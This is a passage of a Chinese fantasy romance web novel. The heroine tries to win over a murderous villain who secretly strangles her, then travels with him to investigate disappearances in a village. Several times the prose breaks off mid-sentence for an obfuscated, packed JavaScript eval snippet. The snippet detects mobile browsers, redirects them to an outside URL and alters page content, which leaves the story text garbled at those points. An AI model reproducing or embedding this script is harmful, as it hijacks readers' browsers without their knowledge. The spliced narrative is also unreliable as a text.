风声突然停了。 一瞬间的寂静后,那攀在窗格上的影子动了起来。 些许黑色的水从影子中脱离,缓缓渗入窗子在黑暗中浮现出轮廓。它越过地板上那一小块明亮的月光,来到了崔若盈的床前。 它看着她,像是在思索着什么。 停顿片刻后,那黑色的水一拥而上,如同疯长的藤蔓般爬上她的床榻。 枝桠一样的末端像是谁纯黑色的发丝,轻柔地绕到她雪白的脖颈上,随后死死扼住了她的喉咙。 “家主。” 殷逐白坐在廊下。月光破碎的光斑在他脸上流泻,白骨般惨白的手在花影的映照下,呈现出浅淡的青灰色。 他没有戴发冠,头发就那样懒散地披在肩头,乌黑的发丝像是河水一般,在他身上静静地流淌,看着绚丽而幽深。 听到身后传来声音,他没有回头,只是淡淡道:“她怎么样了?” “回禀家主,崔姑娘已经睡下了。” 说完这句话,长廊上就安静下来。 只有晚风吹过廊下花草,花树摇曳,传来阵阵细碎的声响,奇花异草的影子斑驳,悄然窥视着坐在廊下的青年。 殷逐白看着那些摇曳的花。 但他的目光没有焦距,好像是正透过这娇艳的花,看着其他的谁。 良久,他才开口,声音平静,难辨喜怒:“我知道了。你下去吧。” “是。” 手下的人离开了。周围更加寂静,连一丝呼吸声也无。 惨淡的月光落在廊下盛开的海棠上,海棠粉色的花瓣散发出莹白的光晕。 殷逐白看着面前近在咫尺的花,忽地轻笑了起来。 与之前温和的、礼貌的笑容不同,这笑声中满是冷意,与其说是笑,倒不如说是嘲讽更合适一些。 他在嘲笑谁? 当然是崔若盈。 他笑她的笨拙,笑她的蠢钝,也笑她的自以为是。 她以为他看不出她的故意接近吗? 如果他真的如她、如世人所知的那般,是个温柔正直的端方君子,那他说不定真看不出来。 但他不是。 他也知道他不是。 而崔若盈——不管她出于什么目的,是单纯想攀附殷家,还是被其他势力派来的探子,不管怎样,她本该死在那个水洞里。 她之所以没死,并不是因为他大发慈悲,而是因为在对她动手的前一刻,他突然有了一个更有趣的想法。 殷逐白站起身,走入月光之中。 他伸出一只苍白的手,用指尖触碰着盛开的海棠花。 那花朵轻轻地颤抖了一下,而后被他毫不留情地摘了下来。海棠花树随着他的动作耸动着,像是海潮上,即将翻覆的小舟。 她想接近他? 好。 那就让她接近。 他不仅要让她接近,还要让她对他产生好感。 等她真正喜欢上他扮演的正人君子的那一刻,他就会露出獠牙,毫不留情地撕碎她的信任,给予她致命一击。 这就是她看错人的代价。 想到崔若盈殒命之时,脸上露出的悲恸与绝望神情,他就发自内心地感到快乐。 银色的月光下,殷逐白轻柔地笑起来。 许是因为习惯了伪装成温润如玉的模样,即使心怀恶意,他也笑得相当温柔克制。 他的笑容就像澄澈月光下的巨大水塘,几乎能容得下一整个寂寥的苍穹。 可若仔细一看,却发现那水塘看似明亮,里面却没有星辰、没有月光,有的只是塘底的淤泥、交横的水草——那是水面上的人永远看不到的黑色世界。 这个笑容持续了很长时间。 良久,殷逐白才转过身。 在他身后,被撕碎的花瓣添满了如水月光。 崔若盈倏然睁开眼,反射性地坐起身。 她剧烈地喘/息起来,手指不自觉地摸上脖子,无意识地摩挲着喉咙,肩膀不住颤抖。 而她的脑海中,还残留着那种阴冷的窒息感。 恍惚之间,好像……有什么扼住了她的喉咙。 紧接着,大量冰冷的水灌入她的口鼻,让她无法呼吸。 强烈的窒息感让她头晕目眩,甚至失去了挣扎的力气,只能被水裹挟着,向下沉去、沉去。 是,梦吗? 因为她在山洞里泡了半天的冷水,所以做了这个噩梦? 崔若盈捂着脖子,好一会儿才摆脱死亡的余韵。 冷静下来后,她朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640469|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗外看了眼。 天已经亮了,几缕金色的曦光顺着窗户落入房内,衬得房间亮堂堂的。 阳光暂时驱散了恐惧。但不管怎样,她都不可能睡得着了。 崔若盈索性从床上爬了起来,穿上了放在一边的衣服。 衣裳是浅紫色的,像是春日里颜色浅淡美丽的紫藤花,腰带上则绣了些叶纹做装饰。 这套衣服是殷家准备的,因时间仓促,尺码略有些大,但整体还算合身。 换好衣服,又简单洗漱,崔若盈本想再研究一下那个噩梦,就听外面传来一道声音。 “小盈!” 那声音由远及近,几秒后,一道身影就如同一阵风一般,飞快落到了崔若盈的面前,一把抱住了她。 “小盈!你没事可太好了!” 正是《除灵伏妖录》的女主寇言湘。 寇言湘是昆玉山首席弟子。 一次意外,她发现有人千年来一直挑拨人妖两族的关系,这才下山调查。 “好了好了。”崔若盈拍了拍她的背,“寇姐姐,别担心,我这不是好好的嘛。” 寇言湘这才放开手,拉开半步距离,上上下下打量她几眼,见崔若盈真没事,才松了一口气。 这么一会儿工夫,男主祝星游也走了过来。听到崔若盈的话,他扯动嘴角,对她僵硬地笑了一下。 崔若盈也不在意。 祝星游的人设就是冷面刺客。 和豪爽热情的寇言湘正好相反,祝星游平时少言寡语的,就算担心也不会说出来。 对她笑一笑已经是他的极限了。 知道她没受伤后,寇言湘就拉着她,说起崔若盈掉进山洞之后的事。 当时寇言湘和祝星游中了那老太婆的迷药,根本无力救她。 幸好寇言湘知道这附近是殷家的地盘,因此果断去了殷家求助。 他们运气也不错,刚走出去没一会儿,就正好碰上了殷逐白,遂向他求救。 崔若盈:“……” 所以殷逐白这家伙,他就一直在路上磨蹭,磨蹭了快六个小时吗?! 不过她倒是没当面揭殷逐白的短,而是模糊了时间,着重叙述了殷逐白是怎么救的她。 寇言湘心有余悸:“这次的事,真是多亏殷家主了。小盈,我们去找殷家主,当面和他道谢吧。” 崔若盈点点头:“好啊,那我们现在就去?” 说着,她站起身来。寇言湘却“咦”了一声:“小盈,你的脖子怎么了?” 崔若盈一怔:“脖子?” 说着,她下意识地侧身,看向右手边梳妆台上的铜镜。 借着镜子的光,崔若盈看到自己的脖子上有一圈青紫色的可怖勒痕。 勒痕颜色不浅,只是正好被衣领挡住了,所以她刚刚没看见。 崔若盈伸手摸了摸那痕迹,若无其事地笑道:“应该是昨天不小心弄的吧。” 才怪。 她就说,怎么突然做了这么一个噩梦。 原来不是梦,而是殷逐白那厮半夜发疯想要杀了她。 至于为什么那么确定是殷逐白…… 因为她查看了一下任务日志,昨晚她睡着后,殷逐白好感度又下降了三点。 算一算,和她险些被掐死的时间正好能对上。 况且能在殷家对她动手的,除了殷逐白这个大反派还能有谁? 崔若盈不打算现在揭穿他。 不过殷逐白对她屡次展露杀意,好感度也跌到了【-12】,也不知道还能不能攻略了。 她要早做打算才是。 5. 她的可爱之处 初春清爽的风顺着小窗吹入房间,房中金色的纱幔随风摇摆,在地上投下一片灰色的影子。 四人的身影全部被笼罩在这朦胧的纱影之中。 崔若盈坐在房中,纱幔的影子落在她的脸上,让她的眼神看上去忽明忽暗。 她身边坐着的是寇言湘和祝星游。而在她对面,是低眉敛目的殷逐白。 他就坐在那里,像是一幅被永远定格的画作,连脸上那丝若隐若现的笑容都不曾变动过。 察觉到崔若盈在看他,他微微抬起头,对她眨了眨眼。 崔若盈一怔。 怪了,怎么感觉殷逐白对她的态度怪怪的。 还没等她想出个所以然来,坐在身侧的寇言湘就先开口道谢了。 “多谢殷家主救下小盈,此等恩情,我没齿难忘。” “寇姑娘,这件事本就是我殷家的疏忽,救人也是我分内之事,谈什么恩情不恩情的呢。” 殷逐白的声音轻轻传入崔若盈的耳中。 她抬起头,带着刚刚的疑问,用余光打量着端坐在桌案后的殷逐白。 他的姿态十分端正,从不曾有一瞬间的颓唐,一看就知道是受过良好教育的世家子弟。 桌案上的香炉中升起袅袅青烟。 烟雾如蛇一般向上升腾,渐渐模糊了殷逐白白皙的面容,让他看起来仿佛身在雾中,令人捉摸不透。 寇言湘摇摇头:“一码归一码。总之,殷家主若是有需要我们的地方,我们一定会全力以赴。” 听到她的话,殷逐白垂下眼帘。 几块阳光透过纱幔,朦胧地落在他的额头上,让他的皮肤看起来更是苍白到病态。 他似乎踌躇了一下。 “说来也惭愧。我确实有事需要三位帮忙。” 来了来了,原著剧情来了。 崔若盈身体不自觉地挺直了些,凝神听着殷逐白的话。 原著里,殷逐白救了寇言湘两人之后,也让他们帮忙除妖来着。 而且殷逐白本人也参与了这个副本,和男女主共患难。 当然,现在这段剧情里还要加她崔若盈一个。 为了借助这段剧情进一步接触殷逐白,崔若盈反复观看这段剧情,对剧情的每一处走向都了若指掌,几乎能倒背如流了。 “几位应该知道,这段时间平幽与芦州摩擦不断,我殷家作为芦州除妖师势力之首,自然要派人驻守芦州边界。时间一长,族中就因人手不足积压了大量任务。” 他语调不疾不徐,三言两语就说明了当前的状况。 崔若盈暗自点头。这套说辞和原剧情中的差不多。 “只是有几件任务,却是等不得了。” 殷逐白歉意地笑了笑。 崔若盈道:“殷家主若是信得过,就把任务交给我们吧。” 殷逐白微微侧过头看着她。阳光下,他的眼瞳熠熠生辉,像是最明亮的星星。 崔若盈与他对视。在那一瞬间,她看见他双眼中飞快地掠过一抹杀意。 只是那杀意出现得太快,消失得也太快,须臾间就消失不见,快到崔若盈怀疑那是自己的错觉。 “谢谢你,崔姑娘。” 殷逐白真心实意地说道。而后,他若无其事地移开了自己的视线。 “事情是这样的。两个月前,殷家接到消息,说一个名为内河村的村子里有大量村民失踪。于是,我派人前去调查。” 殷逐白蹙起眉,眉宇间的日光随着他的动作而破碎。 “可不管派了多少人,结果都是石沉大海,那些被派去的除妖师也都失踪了。” 寇言湘皱眉:“这确实是个隐患。” 崔若盈却一整个震惊住了。 不对啊,原著里可没有这段剧情! 原剧情明明是去城里捉吸人精气的画妖啊? 殷逐白他怎么不按剧本走啊他! 正当她震惊得无以复加之时,殷逐白又开口了。 “还有一个任务,是关于一只在齐云城中作乱的画妖的……” 这次他说的,终于和崔若盈记忆中的剧情重合了。 听完他的叙述,寇言湘想了想,略有些迟疑道:“殷家主,非是我有意推脱,只是这任务有两个,还都很紧急,我们三个人恐怕来不及啊。” “寇姑娘说得对。” 殷逐白垂下头,金色发带随之从耳边垂下,在他的脸颊两侧投下一道阴影。 “不如这样吧,我也去。” 寇言湘惊讶:“殷家主亲自去?” 殷逐白轻轻点头。 “我们四人分成两组,分别执行这两个任务,如何?” 崔若盈听到这话,立马紧张起来。 两两组队,如果她和殷逐白不在一队,那还怎么攻略? 可殷逐白会和她组队吗? 崔若盈有些不确定。 从原剧情的角度分析,殷逐白最想取信寇言湘。 之前崔若盈破坏了他的计划,这次说不定就是他新创造出来的机会。 崔若盈低头盯着随风飘摇的纱幔,眼眸微动。 寇言湘想了想,看向身边两人:“祝星游,小盈,你们觉得怎样?” 祝星游面无表情:“可以。” 崔若盈则是甜甜地笑了笑。 “殷家主救了我,我当然愿意帮这个小忙啦。只是不知道,殷家主打算怎么分组呢?” 殷逐白不假思索:“那我就和崔姑娘一组吧,如果崔姑娘不嫌弃的话。” 说话时,他专注地看着崔若盈,一双深色的眼眸如夜幕下的深海一般幽暗,令人难以摸透其中蕴含的情绪。 明明是她想要的结果,可不知为何,当殷逐白主动提出组队时,崔若盈心头突然一跳。 总觉得反派怪怪的,对她的态度,好得有点过头了。 还主动提出和她组队,也不知道有什么阴谋。 但崔若盈不能表现出异常,只能装成受宠若惊的样子。 “怎么会怎么会,那我就和殷家主一起吧。” 寇言湘和祝星游没有意见,他们两个和原剧情一样,选择了画妖的任务。 崔若盈无奈,只能和殷逐白一起,接下了那个她并不熟悉的任务。 任务比较紧急,明天一早,四人就会动身,只留下今天半天的准备时间。 寇言湘两人被带下去找画妖的情报,离开了房间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640470|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一时间,房中只剩下崔若盈和殷逐白,空气骤然变得安静下来。 香炉中的香已经燃到了尽头,火星忽明忽暗,即将熄灭。 片刻的寂静过后,殷逐白忽然开了口。 “崔姑娘要出去走走吗?” 崔若盈一怔,然后点点头。 虽然不知道反派打得什么算盘,但她不可能错过这个机会。 两人出了门,沿着曲折蜿蜒的长廊向前。廊下种了花草,花枝轻轻摇曳,吐露暗香。 檐角上则是挂了八角铜铃,一阵微风拂过,铜铃清脆的声音在庭院中回荡,在风中掀起阵阵涟漪。 殷逐白的声音与铜铃声一同轻盈地传入崔若盈的耳中。 “你的腿好些了吗?” 他将双手拢在宽大的袖中,侧身看着崔若盈。 两人离得很近,他几缕未被束起的发丝飞起来,轻轻拂在崔若盈的脸侧。 有些痒。 崔若盈有些不习惯地向后躲了半步。 似乎察觉到了她的窘迫,殷逐白抬起手,将散乱的发丝捋到耳后。 “只是撞了一下,已经没事了。”崔若盈回过神来,灵动地眨眨眼,“殷家主不用担心,不会影响任务的。” 殷逐白失笑:“崔姑娘,你明知道我不是这个意思。只是你还没休息就要动身,我有些过意不去。” “有什么好过意不去的,是我自己选择帮忙的。” 说话时,崔若盈用余光扫了眼殷逐白。 他神态温柔,演技滴水不漏,她硬是没看出什么破绽来。 正偷偷观察着他,殷逐白却突然转过头来:“我看崔姑娘今天闷闷不乐的,是不是有心事?” 心事?心事就是你那【-12】的好感度。 崔若盈眼睛一转:“就是昨晚做了噩梦,没睡好。”说着,还伸手摸了摸脖子。 听到她的话,殷逐白眼神闪烁几下。 “许是昨天太过惊险,这才夜有所梦。崔姑娘若有需要,我可以让医者开些安神的汤药。” 崔若盈赶紧把头摇得像拨浪鼓:“不了不了,我最讨厌喝药了!” 开玩笑,鬼知道殷逐白这家伙会给她开安神药还是什么乱七八糟的药,她可不敢喝。 殷逐白看着她,忽然笑了起来。这笑容和之前的笑有些不同,就好像骤雨忽至。 “殷家主笑什么?” “没什么。”殷逐白收敛了笑意,声音也像雨丝一样轻,“就是觉得,崔姑娘也有几分可爱之处。” 崔若盈:“……” 什么叫“有几分可爱之处”? 她一时间居然听不出殷逐白是在夸赞她还是在贬损她。 不过想到殷逐白的本色和那负数的好感度,想来还是后者居多。 而殷逐白笑过之后,就轻飘飘地转移了话题。 “好了。既然崔姑娘没事,我们就说一下这次任务吧。” 闻言,崔若盈神色也凝重起来。 这次除妖师失踪任务没在原剧情里出现过,那个内河村是什么情况,她也完全不知晓。 还有殷逐白那家伙,也需要防备。搞不好,他就是这次任务里最大的危险。 6. 反派笑那么好看 天色阴沉沉的,灰白色的乌云聚在一起,将天光遮挡了个干净。 阴冷的风卷起几片枯叶,呼啸着从官道上划过,道边的干枯野草被风吹动,匍匐在湿漉漉的泥地上。 崔若盈裹紧外套。一点凉意落在她的额头上,她抬手摸了摸头。 “下雨了。” 话音未落,一道电光从天空划过,照亮崔若盈的双眼。 轰鸣的雷声过后,零星的雨点变成了倾盆大雨,暴雨笼罩了周围一切景色。 豆大的雨滴濡湿了殷逐白的黑发,几缕碎发黏在他的脸上,显得他的面孔愈发苍白。 殷逐白朝着前面望了望。 “那边正好有个茶肆,我们先去避一避吧。” 那茶肆离二人只有十几步远,两人加快脚步,很快就到了。 说是茶肆,其实就是一个支起来的草棚,用来给过路的人歇脚喝茶。 可能因为这几日天气不好,茶肆里空荡荡的,没什么人。 开茶肆的是一对老夫妇,热情地让两人进来避雨。两人走进茶肆,要了茶,而后找了个地方坐下。 崔若盈呼出一口气,用手擦了擦额头上的雨滴:“幸好这里有个能避雨的地方。” 说起来也倒霉,从悬玉山庄出来后,天就没晴过,一直阴沉沉的。 赶了两天的路,好不容易快到内河村了,在这时候又下雨了。 殷逐白道:“这里离内河村不远了,等雨再小一些,我们就继续赶路。” 崔若盈看着外面的天色:“也不知道雨什么时候停。” 这时,一道苍老的声音突兀地响起,打断了两人的对话:“你们要去内河村?难道你们也是除妖师?” 崔若盈动作一顿,抬头看向声源处。说话的正是开茶肆的老翁。 他正在另一侧擦桌子,看起来只是随口一问。 殷逐白抚摸着茶碗的边缘,苍白的指尖几乎与茶碗融为一体。 “我和我妹妹要去内河村看望生病的亲戚,不是什么除妖师。” 这也是两人事先商量好的,为了避免打草惊蛇,先伪装成普通的兄妹。 听了他的话,老翁直摇头。 “两位听我一句劝,内河村去不得。就这两个月,内河村失踪多少人了,去探亲的外村人,去一个丢一个。除妖师一波一波过来查,也查不出个所以然来。” 崔若盈与殷逐白对视一眼,装出好奇的样子:“老伯见到过很多除妖师吗?” “那可不,我这茶水摊离内河村比较近,很多除妖师在这边打探消息。” 老翁摇着头,给两人倒上茶。 殷逐白垂下眼帘:“但是我们嫁到内河村的姑姑重病……” “哎呀,这人到底有没有病都是个问题,搞不好就是要把你们这些外地人骗去呢。” 这时,在另一边坐着的老妇轻轻咳了一声,老翁也意识到自己多嘴,讪讪道:“我去烧水,两位慢慢坐。” 说着和老妇一起走进屋里,离得远了,还能隐约听到几句老妇的埋怨声。 见两人离开,崔若盈凑近殷逐白,小声道:“他们怀疑内河村的人有问题。” 说话产生的微弱气浪吹到脸上,殷逐白侧头看她。 她发丝湿漉漉的,还在滴水,看着很是狼狈。只有一双眼眸亮晶晶的,眼瞳深处藏着几分难见的狡黠。 倒像是一只刚被水浇了个透心凉的红狐狸。 殷逐白忍不住扯了扯嘴角,笑了起来。 这笑和之前混杂着阴冷的笑大不相同,就像是春风拂过山野一般温柔。 崔若盈愣了一下,疑惑道:“你笑什么?” 反派笑这么好看,一定是想到了什么坏主意。 殷逐白轻咳一声:“没什么。” 他自然而然地转移了话题。 “我查了内河村这几个月人口变动,发现除了失踪的村民外,很少有人离开内河村。” 崔若盈道:“内河村都这样了,他们还不走,一定有猫腻。” 殷逐白站起身,袖子随着他的动作如流水般自然滑落。 为了掩盖身份,他没再穿那件招摇的金色衣裳,而是换了身朴素的黑衣。 黑色的衣裳衬得他肤色愈白,像是夜晚中的淡淡月光。 “雨好像小了,我们走吧。” 崔若盈“嗯”了一声,跟在他身后出了茶肆,与他并肩走入丝丝细雨之中。 至于桌上的茶水,两人默契地一口未动。 雨的确小了,从瓢泼大雨变成了细密如阵脚的雨丝。 绵绵细雨冲去草木上的灰尘,水汽带来的潮意浸透了崔若盈的裙角。 崔若盈扶了扶斗笠,缓缓抬起头。在泥泞土路的尽头,隐约能看到一些建筑的轮廓。 “是内河村。” 雨渐渐停了,但风依然大。 瑟瑟西风吹动殷逐白的衣袍。崔若盈走在他身后,时而抬起头,看一眼他的背影。 阴郁的天光下,他像是行走在深渊里的一只幽灵,连皮肤都泛着惨淡凄凉的光晕。 进了村子,有了建筑的遮挡,风就没那么冷了。崔若盈停住脚步,打量着村内的景色。 内河村位于芦州、燕州与雍州三州的交界处,地处交通要道,来往旅人众多。 虽说是村子,但规模和小镇差不多。 村里的屋舍是青瓦白墙,连路都是平整的石板路,而非泥泞的土路。 但也许出于天气的缘故,路上没什么人,只有暗黄枯草随风乱舞,村内一片寥落萧条。 不远处,几个小孩迎风奔跑,大声吵闹着,好像在争抢着什么东西。 “把仙丹给我!” “不给不给!这是我爹给我的,凭什么给你!” 争执间,他们抢夺的那东西被撞飞,在空中划出一道圆润的弧线,又在地上骨碌碌滚了几圈,最后正好碰到崔若盈的鞋尖,停了下来。 那是一个白瓷瓶。 崔若盈一怔,俯身将白瓷瓶捡了起来。 白瓷瓶只有一指长,瓶身因在地上滚了一圈而沾了些泥土。 她捻着白瓷瓶晃了晃,听到里面有东西在沙沙响,应该是丹药。 “还回来。” 还没等崔若盈搞明白里面到底是什么,一道粗犷沙哑的声音就在她前方传来。 同时,一只粗糙的手也伸到了她面前。 崔若盈抬起头,只见站在她面前的,是一个穿着粗布衣衫的高大村民。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640471|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他满脸阴翳,面色不善,刚刚和人争执的小孩站在他身后,怯生生地看向崔若盈,明显是他的孩子。 殷逐白看着村民,又扭过头,挑眉看了崔若盈一眼。 他想看看,这个崔若盈会有什么样的反应。 会害怕吗?还是会惊慌失措? “还回来。” 那高大村民再次重复道,话语中满是不快。 崔若盈思忖一瞬,把药瓶递了回去,脸上的笑容依旧甜美可爱,好像感觉不到对方的恶意一般。 “对不起,我只是顺手把它捡起来了,这就还给你。” 村民接过药瓶,神色稍霁。 他抬眼扫了扫,见两人都是生面孔,语气热络了几分。 “两位是想投宿吗?我带你去找我们村长。” 说罢,不由分说地走在前面,就要给两人引路,热情的模样和刚才简直判若两人。 走出几步,见崔若盈和殷逐白没跟上来,还回头催促道:“快跟上啊,等会儿又下雨了。” 说话时,他的目光在两人之间游离,眼中似乎还带着几丝怀疑。 殷逐白露出一个无害的笑,走到崔若盈身边:“妹妹,别闹脾气了,天气这么差,有个落脚的地方就不错了。” 说着又看向村民,语带歉疚:“抱歉,我妹妹娇生惯养,对住处有点挑剔。” 崔若盈:“……” 死殷逐白,把锅都推到她身上了。 那村民闻言,眼中的怀疑散去了几分。 “两位不用担心,村长会给你们安排最好的住处。” 崔若盈尬笑一声,硬着头皮道:“行,那走吧。” 两人不远不近地跟在带路村民身后。 崔若盈小幅度地转头,小心打量着道路两边的景象。 只见村中屋舍俨然,一片安静祥和之意,偶尔有几个村民匆匆与两人擦肩而过,似乎没有什么异样。 “妹妹。” 正想得出神,轻柔的声音突然从耳后传来。紧随其后传来的,就是一阵幽幽的香味。 像是带着水汽的潮湿树叶的味道,又像是冬日凛冽寒霜的味道,就这样轻飘飘地钻入崔若盈的鼻腔。 几缕乌黑的发丝垂到崔若盈肩上。那股香味愈发浓烈。 殷逐白就站在她身边。两人挨得很近,崔若盈甚至能感觉到他说话时产生的微弱气流声。 她不自觉地偏了偏头,转眸看他。 殷逐白苍白的侧脸映入她眼中,他的话也随着轻微的呼吸声,落入她耳中。 “你发现不对了吗?” 崔若盈忽略掉因他突然凑近而产生的异样感,仔细思索了一下,这才小声回答。 “那瓶丹药好像很重要。” “而且他们非常希望我们留宿。” 殷逐白直起身体,接着她的话向下说。 几缕发丝随着他的动作轻轻飘起来,不再在崔若盈的肩上流连。 “一切小心。”他温和地说道。 那声音比山谷里吹过的风还要轻,却自带几分轻薄的冷意。 话音落下,天边一道雷声响起。走在前面的村民突然停住脚步,回过头。 “两位,这就是村长家了。” 7. 我会拉紧你的风筝线 乌云在天边攒聚,被瑟瑟寒风吹动,呼啸着朝内河村的方向压来。在墨水般的黑色之间,连绵的山脉被压缩成一个小小的影子。 “你们要借住?” 苍老沙哑的声音顺着风,飘到崔若盈的身边。 崔若盈微微抬眼,用余光打量着面前的老人。 他头发已经花白,身形也佝偻着,正觑着那双浑浊的眼,暗自打量两人,眼中满是冷酷与审视。 这就是内河村的村长,陈有文。 殷逐白道:“是的,陈村长,我们想在内河村借住两日。” 陈有文乐呵呵地笑着,缓缓收回审视的目光。他站起来,用枯黄干瘦的手指指了指外面。 “没问题,没问题。我瞅着两位应该是大户人家的孩子吧,普通的屋子你们应该住不惯。这样吧,你们住我三妹家咋样。” 崔若盈故作娇憨,睁圆了眼睛:“这,会不会太麻烦您了呀?” 陈有文道:“呵呵,不麻烦。我三妹寡居多年,平时就一个人住,有人借住也能热闹热闹。她家就在我家旁边,那个大的房子就是,离得近正好有个照应。” 有个照应? 崔若盈暗自撇了撇嘴。 她看,是方便监视才对。 但是这个陈有文这么迫切想要他们两个住进来,这个时候推辞,说不定会引起他的怀疑。 “好,那就听村长老伯的。”崔若盈露出明快的笑容,“哥哥,我们就住这里吧。” 殷逐白一如既往地微笑:“嗯,都听你的。” 两双眼睛默契地对视,又心照不宣地移开。 陈有文不知道他们两个早已在短暂的瞬间进行过交流。 他拄着拐杖,高兴地从桌子边站起身,了。在这一刻,他苍老的面容称得上容光焕发,连脸上的老人斑都淡了不少,好像是年轻了几岁一般。 “好,好,好。” 他高兴得一连说了三个“好”字。 “那两位就和我来吧。” 就像陈有文说的那样,他家旁边的青瓦房就是他三妹的。 他没走前门,而是带着两人绕到了后院,站定后伸手敲了几下院门,一个老妇人就从院子里走了出来。 这就是陈有文的妹妹了。 崔若盈不知道她的名字,只管她叫陈三婶。 陈三婶外貌比陈有文年轻一些。见了陈有文,她的神情有些不太好;听他叙述完来意,她的面色更是阴沉得仿佛能滴出水来。 她冷冷道:“有间屋子房顶坏了,还没修好,住不了人。” “三娘,你……” 陈有文面皮皱起,正要说些什么,但想起崔若盈两人还站在不远处,刚要脱口而出的话又顿住。 他拉着陈三婶往院子里走了几步,直到双方之间的距离够远,听不到任何说话声,才停下来。 崔若盈踮脚朝小院里张望了一下,但院墙高高,挡住了那两人的身影,她什么也没看到。 她只能放下脚,又侧头看看殷逐白,用手肘轻轻捅了他一下。 殷逐白会意,微微垂下头,凑到她耳边。他的眼帘低垂,所有情绪都隐藏在浓密的睫毛之后。 “怎么了,崔姑娘?” 他的头低下来,眼角却是上挑着的,一双眼中好像有星子闪动,仔细一看,却发现那星子之间,满是沉郁的光芒。 崔若盈道:“你能不能听到他们在说什么?” 殷逐白失笑:“崔姑娘,我又不是神仙。你听不到,我当然也听不到。” 你不是神仙,但你是反派欸。 尤其是殷逐白这家伙,在原著里可是出了名的爱视奸,男女主一有点什么风吹草动,他全都知道。 这时候倒是装上了。 崔若盈失望摇头,但也不好戳穿反派:“我看那个陈三婶和村长关系好像不太好,等下想办法从她嘴里打听一下吧。” 正说着,陈有文推开院门,从院子里走了出来,身后还跟着陈三婶。 陈三婶抬眼扫了眼两人,不情不愿道:“就是你们要住宿?和我来吧。” 陈有文则是乐呵呵的:“没事,你们跟着她去吧,我先回家了。有什么需要,可以来找我。” 说完这句话,他拄着拐杖自顾自离开。那背影佝偻,在灰白天空的下,像个可怜可怖的畸形妖怪。 殷逐白率先收回视线:“走吧。”说罢,当先跟在陈三婶身后,崔若盈也跟了上去。 陈有文说得没错,陈三婶家环境确实不错,进了小院,正对面是一间亮堂堂的主屋,侧边则有两间耳房。 无论是正屋还是耳房,都被收拾得窗明几净,一尘不染,可见陈三婶是个勤快爱干净的人。 陈三婶指了指左侧的耳房:“你们两个,就住这一间吧,入夜之后也好有个照应。” 崔若盈脸上笑容一僵。 和反派住一间? 她倒是不怕反派起什么色心,她是怕殷逐白这家伙半夜抽风,突然动手把她勒死。 光是一想,她就觉得脖子上的勒痕隐隐作痛,那股群山袭压般的窒息感再度涌上脑海,让她几乎喘不过气来。 “陈三婶……”崔若盈斟酌着说道,“我们两个,住一间吗?” 陈三婶白她一眼,语气十分不耐烦:“城里人啊,规矩真多。你们不是兄妹吗?住一间不行?” 殷逐白道:“就算是兄妹,住一间房也多有不便。” 他解下腰间钱袋,递给陈三婶,语气和煦。 “陈三婶,如果方便的话,可否帮我们再安排一间屋子?” 陈三婶接过钱袋捏了捏。 那钱袋里的钱应该不少,崔若盈都能听到碎银子相撞发出的脆响。 “再安排个屋子,也行。不过……”陈三婶说着说着,忽然话锋一转,“我看你们两个,不是兄妹吧?!” 两人没想到她会说出这么一句话,动作齐齐一顿,崔若盈立刻反应过来,装出一副惊慌模样,掩面道: “我,我们……陈三婶,求你不要把这件事说出去,我们两个其实,其实是……” 殷逐白默契地接着她的话向下说。 “我们是隐姓埋名,私奔到这里的。” 两人各怀鬼胎,这时候倒是默契起来。 陈三婶脸上露出“果然如此”的表情。她冷笑一声,收下银子:“行,我给你们安排,你们别后悔就行了。” 也不等两人回话,她又指着右侧耳房,对殷逐白没好气道:“这间也能住,你住这里吧。” 说完,自己直接离开,留着崔若盈和殷逐白站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就这么一会儿工夫,风声更大了,远处铅黑色的阴云沉甸甸地朝着山间的内河村催压过来,路边的树木狂乱地舞着,树叶与树叶相撞,发出近乎惨烈的摩擦声。 崔若盈紧紧裹着衣服,生怕风把她的衣服吹了去。 她可不像殷逐白这么不怕冷——况且,初春的风就算不冷,也总是带几分恼人的。 想到这里,崔若盈看了眼走在身边的殷逐白。 他好像不怕风,就这样迎风走着,凛冽的风打在他的身上,就好像穿过了一道根本不存在的影子,径直朝着后面飞去。 只有一身黑衣飞着,像是被风吹得歪歪斜斜的蝴蝶,又好像这阵风暴本就是蝴蝶引起的。 崔若盈看着看着,忽然想起自己任务是攻略,于是一把抓住蝴蝶的尾翼。 “妹妹。”殷逐白似有所觉。侧过头,黑色的蝴蝶就调转了方向,“你抓着我衣服做什么?” 崔若盈抓着他的衣袖,信口胡诌:“我怕风把我吹飞。” 